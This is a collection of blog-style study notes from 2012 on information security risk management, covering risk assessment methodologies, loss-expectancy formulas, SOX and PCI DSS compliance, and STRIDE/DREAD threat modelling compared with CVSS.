NIST SP 800-30 and 800-66 are methodologies that can be used by the general public, but the initial creation of 800-66 was designed to be implemented in the healthcare field and other regulated industries. While 800-66 was designed to be used by HIPAA clients, it can also be readily adopted and used by other regulated industries. The NIST approach is specific to IT threats and is commonly used by security consultants, security officers and internal IT departments, and focuses mainly on computer systems

· FRAP

Which stands for Facilitated Risk Analysis Process. It is designed to explore a qualitative risk assessment process in a manner that allows for tests to be conducted on different aspects and variations of the methodology. This will allow, through the use of a prescreening process, users to determine the areas that really demand and need risk analysis within an organization.

OCTAVE (Operationally Critical Threat, Asset, and Vulnerability Evaluation) was created by Carnegie Mellon University's Software Engineering Institute. It is a methodology that is intended to be used in situations where people manage and direct the risk evaluation for information security within their company.

The limitations of OCTAVE are:

OCTAVE is incompatible with AS/NZS 4360, as it mandates Likelihood = 1 (i.e., It assumes a threat will always occur)
Consisting of 18 volumes, OCTAVE is large and complex, with many worksheets and practices to implement.
It does not provide a list of “out of the box” practices for assessing and mitigating web application security risks.
Because of these issues and not considering, OWASP does not anticipate that OCTAVE will be used at large by application designers or developers

AS/NZS 4360: While both the NIST and OCTAVE methodologies focus on IT threats and information security risks, AS/NZS 4360 takes a much broader approach to risk management. This methodology can be used to understand a company's financial, capital, human safety, and business decisions risks. Although it can be used to analyze security risks, it was not created specifically for this purpose.

o The advantages of AS/NZS 4360:

AS/NZS 4360 works well as a risk management methodology for organizations requiring Sarbanes-Oxley compliance.
AS/NZS 4360 works well for organizations that prefer to manage risks in a traditional way, such as just using likelihood and consequence to determine an overall risk.
AS/NZS 4360 is familiar to most risk managers worldwide, and your organization may already have implemented an AS/NZS 4360 compatible approach.
You are an Australian organization, and may be required to use it if you are audited on a regular basis, or to justify why you aren’t using it. Luckily, the STRIDE/DREAD model discussed earlier is AS/NZS 4360 compatible.

The limitations of AS/NZS 4360:

The AS/NZS 4360 approach works best for business or systemic risks than for technical risks.
AS/NZS 4360 does not define the methodology to perform a structured threat risk modeling exercise.
As AS/NZS 4360 is a generic framework for managing risk, it does not provide any structured method to enumerate web application security risks.

Although AS/NZS 4360 may be used to rank risks for security reviews, the lack of structured methods of enumerating threats for web applications makes it less desirable than other methodologies described earlier.

CVSS: The US Department of Homeland Security (DHS) established the NIAC Vulnerability Disclosure Working Group, which incorporates input from Cisco Systems, Symantec, ISS, Qualys, Microsoft, CERT/CC, and eBay. One of the group’s outputs is the Common Vulnerability Scoring System (CVSS).

Failure Modes and Effect Analysis (FMEA) is a method for determining functions, identifying functional failures, and assessing the causes of failure and their failure effects through a structured process. While FMEA is most useful as a survey method to identify major failure modes in a given system, the method is not as useful in discovering complex failure modes that may be involved in multiple systems or subsystems.
A fault tree analysis usually proves to be a more useful approach to identifying failures that can take place within more complex environments and systems.

Quantitative risk analysis

attempts to assign real and meaningful numbers to all elements of the risk analysis process. These elements may include safeguard costs, asset value, business impact, threat frequency, safeguard effectiveness, exploit probabilities, and so on. Purely quantitative risk analysis is not possible because the method attempts to quantify qualitative items, and there are always uncertainties in quantitative values

Note Quantitative analysis uses risk calculations that attempt to predict the level of monetary losses and the probability for each type of threat. Qualitative analysis does not use calculations. Instead, it is more opinion-and scenario based.

The Single loss expectancy is a dollar amount that is assigned to a single event that represents the company's potential loss amount if a specific threat were to take place:

SLE = asset value × exposure factor (EF)

exposure factor (EF) represents the percentage of loss a realized threat could have on a certain asset

annualized loss expectancy (ALE) = SLE × annualized rate of occurrence (ARO)

annualized rate of occurrence (ARO) is the value that represents the estimated frequency of a specific threat taking place within a one-year timeframe.

Qualitative Risk Analysis

Does not assign numbers and monetary values to components and

losses. Instead, qualitative methods walk through different scenarios of risk possibilities and rank the seriousness of the threats and the validity of the different possible countermeasures based on opinions.

A qualitative rating would be expressed in high, medium, or low, or on a scale of 1 to 5 or 1 to 10. A quantitative result would be expressed in dollar amounts and percentages.

In risk analysis, uncertainty refers to the degree to which you lack confidence in an estimate.

The Delphi technique is a group decision method used to ensure that each member gives an honest opinion of what he or she thinks the result of a particular threat will be.

Advantages of Qualitative

Requires no calculations

Provides general areas and indications of risk

Provides the opinions of the individuals who know the processes best.

Advantages of Quantitative.

Uses independently verifiable and objective metrics

Is easier to automate and evaluate

Very less guesswork

Provides credible cost/benefit analysis

Used in risk management performance tracking

A security countermeasure, sometimes called a safeguard, must make good business sense, meaning it is cost-effective (its benefit outweighs its cost). This requires another type of analysis: a cost/benefit analysis. A commonly used cost/benefit calculation for a given safeguard is

(ALE before implementing safeguard) - (ALE after implementing safeguard) - (annual cost of safeguard) = value of safeguard to the company

Total Risk vs. Residual Risk

threats × vulnerability × asset value = total risk
(threats × vulnerability × asset value) × controls gap = residual risk

Handling Risk

Project sizing, which means to understand and document the scope of the project, must be done before a risk analysis is performed.

The main goals of risk analysis are the following: identify assets and assign values to them, identify vulnerabilities and threats, quantify the impact of potential threats, and provide an economic balance between the impact of the risk and the cost of the safeguards.

Steps of a Risk Analysis

Step 1: Assign Value to Assets

When determining the value of information, the following issues must be considered: the cost to acquire and develop data; the cost to maintain and protect data; the value of the data to owners, users, and adversaries; the cost of replacement if the data is lost; the price others are willing to pay for the data; lost opportunities; and the usefulness of the data

Step 2: Estimate Potential Loss Per Threat (including SLE)
Step 3: Perform a Threat Analysis
Step 4: Derive the Overall Annual Loss Potential Per Threat
Step 5: Reduce, Transfer, Avoid, or Accept the Risk

3 Main steps for Risk Analysis:

Asset and Information value assignment
Risk Analysis and assessment
countermeasure selection and implementation

Risk Management could take the input from Planning and collecting information and defining the recommendations. It can then handle the risk as:

Risk transfer
Risk Avoidance
Risk Mitigation
Risk Acceptance

Automated risk analysis tools reduce the amount of manual work involved in the analysis. They can be used to estimate future expected losses and calculate the benefits of different security measures.

Security Policy

A security policy is a statement by management dictating the role security plays in the organization. A security policy can be an organizational policy, an issue-specific policy, or a system-specific policy.

Due diligence is an understanding of the current threats and risks, and due care is implementing countermeasures to provide protection from those threats. If a company does not practice due care and due diligence pertaining to the security of its assets, it can be legally charged with negligence and held accountable for any ramifications of that negligence.

Other regulations also call out requirements of boards of directors, as in the Gramm-Leach-Bliley Act (GLBA). But SOX is a regulation that holds the members of the board personally responsible, thus they can each be fined or go to jail.

Principles of Federal Prosecution of Business Organizations

The Department of Justice provides the following guidelines for attorneys when attempting to prosecute corporate wrongdoings:

Do the corporation's directors exercise independent review over proposed corporate actions rather than unquestioningly ratifying officers' recommendations; are the directors provided with information sufficient to enable the exercise of independent judgment; are internal audit functions conducted at a level sufficient to ensure their independence and accuracy; and have the directors established an information and reporting system in the organization reasonably designed to provide management and the board of directors with timely and accurate information sufficient to allow them to reach an informed decision regarding the organization's compliance with the law.

International Requirements

If the organization is exchanging data with European entities, it may need to adhere to the safe harbor requirements. outlines how any entity that is going to move privacy data to and from Europe must go about protecting it.

Global organizations that move data across other country boundaries must also be aware of and follow the

Organisation for Economic Co-operation and Development (OECD) Guidelines and transborder information flow rules.

Summary: Security management

A security program should address issues from a strategic, tactical, and operational view.

A key element during the initial security planning process is to define reporting relationships.

Security management embodies the administrative and procedural activities necessary to support and protect information and company assets throughout the enterprise.

Management must define the scope and purpose of security management, provide support, appoint a security team, delegate responsibility, and review the team's findings.

It includes development and enforcement of security policies and their supporting mechanisms: procedures, standards, baselines, and guidelines.

It encompasses risk management, security awareness training, and proper countermeasure selection and implementation.

Personnel (hiring, terminating, training, and management structure) and operational (job rotation and separation of duties) activities must also be conducted properly to ensure a secure environment.

Management must understand the legal and ethical responsibilities it is required to respect and uphold.

Security management should work from the top down (from senior management down to the staff).

Summary

The objectives of security are to provide availability, integrity, and confidentiality protection to data and resources.

Security components can be technical (firewalls, encryption, and access control lists) or nontechnical (security policy, procedures, and compliance enforcement).

Asset identification should include tangible assets (facilities and hardware) and intangible assets (corporate data and reputation).

Assurance is a degree of confidence that a certain security level is being provided.

Procedures are detailed step-by-step actions that should be followed to achieve a certain task.

A baseline is a minimum level of security.

Job rotation is a control to detect fraud.

Mandatory vacations are a control type that can help detect fraudulent activities.

Data is classified to assign priorities to data and ensure the appropriate level of protection is provided.

Data owners specify the classification of data.

Security has functional requirements, which define the expected behavior from a product or system, and assurance requirements, which establish confidence in the implemented products or systems overall.

Safeguards should default to least privilege, and have fail-safe defaults and override capabilities.

Safeguards should be imposed uniformly so everyone has the same restrictions and functionality.

The data custodian (information custodian) is responsible for maintaining and protecting data.

A security analyst works at a strategic level and helps develop policies, standards, and guidelines, and also sets various baselines.

Application owners are responsible for dictating who can and cannot access their applications, as well as the level of protection these applications provide for the data they process and for the company.

Appendix A: Microsoft Threat Modelling

Should fit alongside the "methodologies for Risk assessment" above.

STRIDE

STRIDE is a classification scheme for characterizing known threats according to the kinds of exploit that are used (or motivation of the attacker).

Spoofing Identity “Identity spoofing” is a key risk for applications that have many users but provide a single execution context at the application and database level.

Tampering with Data Users can potentially change data delivered to them, return it, and thereby potentially manipulate client-side validation, GET and POST results, cookies, HTTP headers, and so forth.

Repudiation Users may dispute transactions if there is insufficient auditing or recordkeeping of their activity.

Information Disclosure. Therefore, applications must include strong controls to prevent user ID tampering and abuse, particularly if they use a single context to run the entire application.

Denial of Service Application designers should be aware that their applications may be subject to a denial of service attack.

Elevation of Privilege If an application provides distinct user and administrative roles, then it is vital to ensure that the user cannot elevate his/her role to a higher privilege one.

DREAD

DREAD is a classification scheme for quantifying, comparing and prioritizing the amount of risk presented by each evaluated threat. T

Risk_DREAD = (DAMAGE + REPRODUCIBILITY + EXPLOITABILITY + AFFECTED USERS + DISCOVERABILITY) / 5

The calculation always produces a number between 0 and 10; the higher the number, the more serious the risk.

Threat Modeling Process

Identify assets.
Create an architecture overview.

Identify what the application does.
Create an architecture diagram.
Identify the technologies.

Decompose the application.

Identify trust boundaries.
Identify data flow.
Identify entry points.
Identify privileged code.
Document the security profile.

Identify the threats(you can use STRIDE).

Identify network threats.
Identity host threats.
Identify application threats.

Using Attack Trees and Attack Patterns

An attack tree is a way of collecting and documenting the potential attacks on your system in a structured and hierarchical manner. The tree structure gives you a descriptive breakdown of various attacks that the attacker uses to compromise the system.

Attack Patterns

Attack patterns are generic representations of commonly occurring attacks that can occur in a variety of different contexts.

Document the threats.
Rate the threats.

You can use the DREAD model to rate the threats or use a quantitative approach.

For more details on alternative Threat modeling systems refer:

http://softwarearchitectureandarchitects.blogspot.com/2012/04/threat-modelling.html

These are my notes collected from various sources and this is not claimed as original content.

Security: PCI Compliance

2012-05-20T20:13:00.000-07:00

The Payment Card Industry Data Security Standard (PCI DSS) is a set of requirements designed to ensure that all companies that process, store or transmit credit card information maintain a secure environment.

Merchant levels as defined by Visa:
1: Any merchant processing over 6M Visa transactions per year
2: Any merchant processing 1M to 6M Visa transactions per year.
3: Any merchant processing 20,000 to 1M Visa e-commerce transactions per year.
4: Any merchant processing fewer than 20,000 Visa e-commerce transactions per year and other merchants processing up to 1M Visa transactions per year

Best Practices

· Process transactions immediately online or hand off the processing to your bank

· Do not store any CC numbers, ever. If they must be stored, you must follow the PCI guidelines to the letter.

· If you are using a shared host for your site, you cannot comply with the PCI guidelines. You must have your own infrastructure to comply with the PCI guidelines.

If you do end up storing CC numbers:

Encrypt them.
follow merchant agreement.
for recurring payments, limit term to 1 year.

Other considerations:

PCI only allows presentation of first six ( the BIN) or last four digits.
Must nore store CCV etc.
Must patch system within 1 month of a patch becoming available.
reversals should be signed off by two distinct employees.

12 requirements of PCI-DSS if you are going to handle credit cards:

Build and maintain a secure network	Install and maintain a firewall configuration to protect data
	Do not use vendor-supplied defaults for system passwords and other security parameters
Protect Cardholder Data	Protect stored data
	Encrypt transmission of cardholder data and sensitive information across public networks
Maintain a Vulnerability Management Program	Use and regularly update anti-virus software
	Develop and maintain secure systems and applications
Implement Strong Access Control Measures	Restrict access to data by business need-to-know
	Assign a unique ID to each person with computer access
	Restrict physical access to cardholder data
Regularly Monitor and Test Networks	Track and monitor all access to network resources and cardholder data
	Regularly test security systems and processes
Maintain an Information Security Policy	Maintain a policy that addresses information security

PCI Sections Addressing Application Security

3.1 Protect stored cardholder data
3.2 Protect authentication data
3.4 Protect Personal Account Numbers (PAN) data
4.1 Encrypt transmission of cardholder data across public networks
6.3 Develop and maintain secure applications
6.5 Develop web applications using secure coding
6.6 Protect web applications against known attacks
8.1 Assign a unique ID to each person with computer access
10.1 Track and monitor all access to network resources and cardholder data
10.2 Implement automated audit trails
10.3 Record audit trail events
11.3 Regularly test security systems and processes
11.4 Use intrusion detection/ prevention systems

PA-DSS Summary

Do not retain full magnetic stripe, card verification code or value (CAV2, CID, CVC2, CVV2), or PIN block data
Protect stored cardholder data
Provide secure authentication features
Log payment application activity
Develop secure payment applications
Protect wireless transmissions
Test payment applications to address vulnerabilities
Facilitate secure network implementation
Cardholder data must never be stored on a server connected to the Internet
Facilitate secure remote access to payment application
Encrypt sensitive traffic over public networks
Encrypt all non-console administrative access
Maintain instructional documentation and training programs for customers, resellers, and integrators

Sarbanes Oxley (SOX)

2012-05-06T11:54:00.000-07:00

SOX affects information security and the below are two specific sections of the act:

section 302: Corporate responsibility for financial reports

Section 302 states that the Chief Executive Officer (CEO) and Chief Financial Officer (CFO) must personally certify that financial reports are accurate and complete. They must also assess and report on the effectiveness of internal controls around financial reporting.

section 404: Management assessment of internal controls

Section 404 states that a corporation must assess the effectiveness of its internal controls and report this assessment annually to the SEC. The assessment must
also be reviewed and judged by an outside auditing firm.

Public Company Accounting Oversight Board (PCAOB)

The role of PCOAB is to oversee and guide auditors as they assess a company’s compliance with SOX.
"Proposed Auditing Standards" provide more detailed guidance for assessing compliance with the intent of SOX. information technology (IT) general controls form the foundation for many other types of financial reporting controls and, therefore, must be assessed for SOX.

COSO & COBIT

For the purpose of internal control guidance, PCAOB has selected a control
framework created by the Committee of Sponsoring Organizations (COSO). The
COSO framework provides a structured and comprehensive set of guidelines for
creating and implementing internal controls.

The Information Technology Governance Institute (ITGI) is a group created to assist corporations with governing their IT and ensuring IT efficiently supports business mission and goals. ITGI has used COSO and COBIT to create a set of specific IT control objectives for SOX.

references

http://pcaobus.org

http://www.coso.org/default.htm
http://www.isaca.org/

Threat Modelling

2012-04-22T19:13:00.000-07:00

Alternative Threat Modeling Systems

OWASP recognizes that the adoption of a Microsoft modeling process may be a controversial choice in some organizations. If STRIDE / DREAD is unacceptable due to unfounded prejudice, we recommend that every organization trial the various threat models against an existing application or design. This will allow the organization to determine which approach works best for them, and adopt the most appropriate threat modeling tools for their organization.

Performing threat modeling provides a far greater return than any control in this Guide. It is vital that threat modeling takes place.

Trike

Trike is a threat modeling framework with similarities to the Microsoft threat model process. However, Trike is differentiated by using a risk based approach with distinct implementation, threat and risk models, instead of using a mixed threat model (attacks, threats, and weaknesses) as represented by STRIDE / DREAD.

From the Trike paper, Trike aims to:

With assistance from the system stakeholders, ensure that the risk this system entails to each asset is acceptable to all stakeholders.

Be able to tell whether we have done this.

Communicate what we’ve done and its effects to the stakeholders.

Empower stakeholders to understand and reduce the risks to themselves and other stakeholders implied by their actions within their domains.

For more information, please review the “Further Reading” section below. The OWASP Guide 2.1 (due November 2005) will have more details on Trike.

AS/NZS 4360:2004 Risk Management

Australian Standard / New Zealand Standard AS/NZS 4360, first issued in 1999, is the world’s first formal standard for documenting and managing risk, and is still one of the few formal standards for managing risk. It was updated in 2004.

AS/NZS 4360’s approach is simple (it’s only 28 pages long) and flexible, and does not lock organizations into any particular method of risk management as long as the risk management fulfils the AS/NZS 4360 five steps. It provides several sets of risk tables and allows organizations to adopt their own.

The five major components of AS/NZS 4360’s iterative approach are:

Establish the context – establish what is to be risk treated, i.e. which assets / systems are important

Identify the risks – within the systems to be treated, what risks are apparent?

Analyze the risks – look at the risks and determine if there are any supporting controls

Evaluate the risks – determine the residual risk

Treat the risks – describe the method to treat the risks so that risks selected by the business can be mitigated.

AS/NZS 4360 assumes that risk will be managed by an operational risk style of group, and that the organization has adequate skills in house, and risk management groups to identify, analyze, and treat the risks.

Why you would use AS/NZS 4360:

AS/NZS 4360 works well as a risk management methodology for organizations requiring Sarbanes-Oxley compliance.

AS/NZS 4360 works well for organizations that prefer to manage risks in a traditional way, such as using just likelihood and consequence to determine an overall risk.

AS/NZS 4360 is familiar to most risk managers worldwide, and your organization may already have implemented an AS 4360 compatible approach

You are an Australian organization, and thus may be required to use it if you are audited externally on a regular basis, or justify why you are not using it. Luckily, the STRIDE / DREAD model referred to above is AS/NZS 4360 compatible.

Why you would not use AS/NZS 4360:

AS/NZS 4360’s approach works far better for business or systemic risks than technical risks

AS/NZS 4360 does not discuss methods to perform a structured threat risk modeling exercise

As AS/NZS 4360 is a generic framework for managing risk, it does not provide any structured method to enumerate web application security risks.

Although AS 4360 can be used to rank risks for security reviews, the lack of structured methods of enumerating threats for web applications makes it less desirable than other methods.

CVSS

The US Department of Homeland Security (DHS) established the NIAC Vulnerability Disclosure Working Group, which incorporates input from Cisco, Symantec, ISS, Qualys, Microsoft, CERT/CC, and eBay. One of the outputs of this group is the Common Vulnerability Scoring System (CVSS).

Why you would use CVSS:

You have just received notification from a security researcher or other source that your product has a vulnerability, and you wish to ensure that it has a trustworthy severity rating so as to alert your users to the appropriate level of action required when you release the patch

You are a security researcher, and have found several exploits for a program. You would like to use the CVSS ranking system to produce reliable risk rankings, to ensure that the ISV will take the exploits seriously as compared to their rating.

The use of CVSS is recommended for use by US government departments by the working group – it is unclear if this is policy at the time of writing.

Why you would not use CVSS:

CVSS does not find or reduce attack surface area (i.e. design flaws), nor help enumerate possible risks from any arbitrary piece of code as it is not designed for that purpose.

CVSS is more complex than STRIDE / DREAD, as it aims to model the risk of announced vulnerabilities as applied to released software.

CVSS risk ranking is complex – a spreadsheet is required to calculate the risks as the assumption behind CVSS is that a single risk has been announced, or a worm or Trojan has been released targeting a small number of attack vectors.

The overhead of calculating the CVSS risk ranking is quite high if applied to a thorough code review, which may have 250 or more threats to rank.

Octave

Octave is a heavyweight risk Methodology approach from CMU’s Software Engineering Institute in collaboration with CERT. OCTAVE is targeted not at technical risk, but organizational risk.

OCTAVE consists of two versions: OCTAVE – for large organizations and OCTAVE-S for small organizations, both of which have catalogs of practices, profiles, and worksheets to document the OCTAVE outcomes. OCTAVE is popular with many sites.

OCTAVE is useful when:

Implementing a culture of risk management and control within an organization

Documenting and measuring business risk

Documenting and measuring overall IT security risk, particularly as it relates to whole of company IT risk management

Documenting risks surrounding complete systems

When an organization is mature, does not have a working risk methodology in place, and requires a robust risk management framework to be put in place

The downsides of Octave are:

OCTAVE is incompatible with AS 4360, as it forces Likelihood=1 (i.e. a threat will always occur). This is also inappropriate for many organizations. OCTAVE-S has an optional inclusion of probability, but this is not part of OCTAVE.

Consisting of 18 volumes, OCTAVE is large and complex, with many worksheets and practices to implement

It does not provide a list of out of the box practices for web application security risks

OWASP does not expect OCTAVE to be used by designers or developers of applications, and thus it misses the raison d’être of threat modeling – which is to be used during all stages of development by all participants to reduce the risk of the application becoming vulnerable to attack.

Comparing threat modeling approaches

Here is how roughly the CVSS measures up to STRIDE / DREAD:

Metric	Attribute	Description	Closest STRIDE / DREAD
CVSS Base Metrics	Access vector	Local or remote access?	~ Exploitability
CVSS Base Metrics	Access complexity	How hard to reproduce the exploit	Reproducibility
CVSS Base Metrics	Authentication	Anonymous or authenticated?	~ Exploitability
CVSS Base Metrics	Confidentiality impact	Impact of confidentiality breach	Information Disclosure
CVSS Base Metrics	Integrity impact	Impact of integrity breach	Tampering
CVSS Base Metrics	Availability impact	Impact of system availability breach	Denial of Service
CVSS Base Metrics	Impact bias	Bias equal for CIA, or biased towards one or more of CIA?	No equivalent
CVSS Temporal	Exploitability	How easy is the breach to exploit?	Exploitability
CVSS Temporal	Remediation Level	Is a fix available?	No equivalent
CVSS Temporal	Report confidence	How reliable is the original report of the vulnerability?	No equivalent
CVSS Environmental	Collateral Damage	How bad is the damage if the threat were realized?	Damage potential
CVSS Environmental	Target Distribution	How many servers are affected if the threat were realized?	Affected users (not directly equivalent)

Alternatively, here is how STRIDE / DREAD map to CVSS:

STRIDE attribute	Description	Closest CVSS attribute
Spoofing identity	How can users obviate controls to become another user or act as another user?	No direct equivalent
Tampering with data	Can data be tampered with by an attacker to get the application to obviate security controls or take over the underlying systems (eg SQL injections)	Integrity
Repudiation	Can users reject transactions due to a lack of traceability within the application?	No direct equivalent
Information disclosure	Can authorization controls be obviated which would then lead to sensitive information being exposed which should not be?	Confidentiality
Denial of service	Can an attacker prevent authorized users from accessing the system?	Availability
Elevation of privilege	Can an anonymous attacker become a user, or an authenticated user act as an administrator or otherwise change to a more privileged role?	No direct equivalent

DREAD attribute	Description … if the threat is realized	Closest CVSS attribute
Damage potential	What damage may occur?	Collateral damage
Reproducibility	How easy is it for a potential attack to work?	~ Access complexity
Exploitability	What do you need (effort, expertise) to make the attack work?	Exploitability
Affected users	How many users would be affected by the attack?	Target distribution
Discoverability	How easy is for it attackers to discover the issue?	No direct equivalent

In general, CVSS is useful for released software and the number of realized vulnerabilities is small. CVSS should produce similar risk rankings regardless of reviewer, but many of the biases built into the overall risk calculation are subjective (i.e. local and remote or which aspect of the application is more important), and thus there may disagreement of the resulting risk ranking.

STRIDE/DREAD is useful to reduce attack surface area, improve design, and eliminate vulnerabilities before they are released. It can also be used by reviewers to rank and enumerate threats in a structured way, and produce similar risk rankings regardless of reviewer.

Conclusion

In the few previous pages, we have touched on the basic principles of web application security. Applications that honor the underlying intent of these principles will be more secure than their counterparts who are minimally compliant with specific controls mentioned later in this Guide.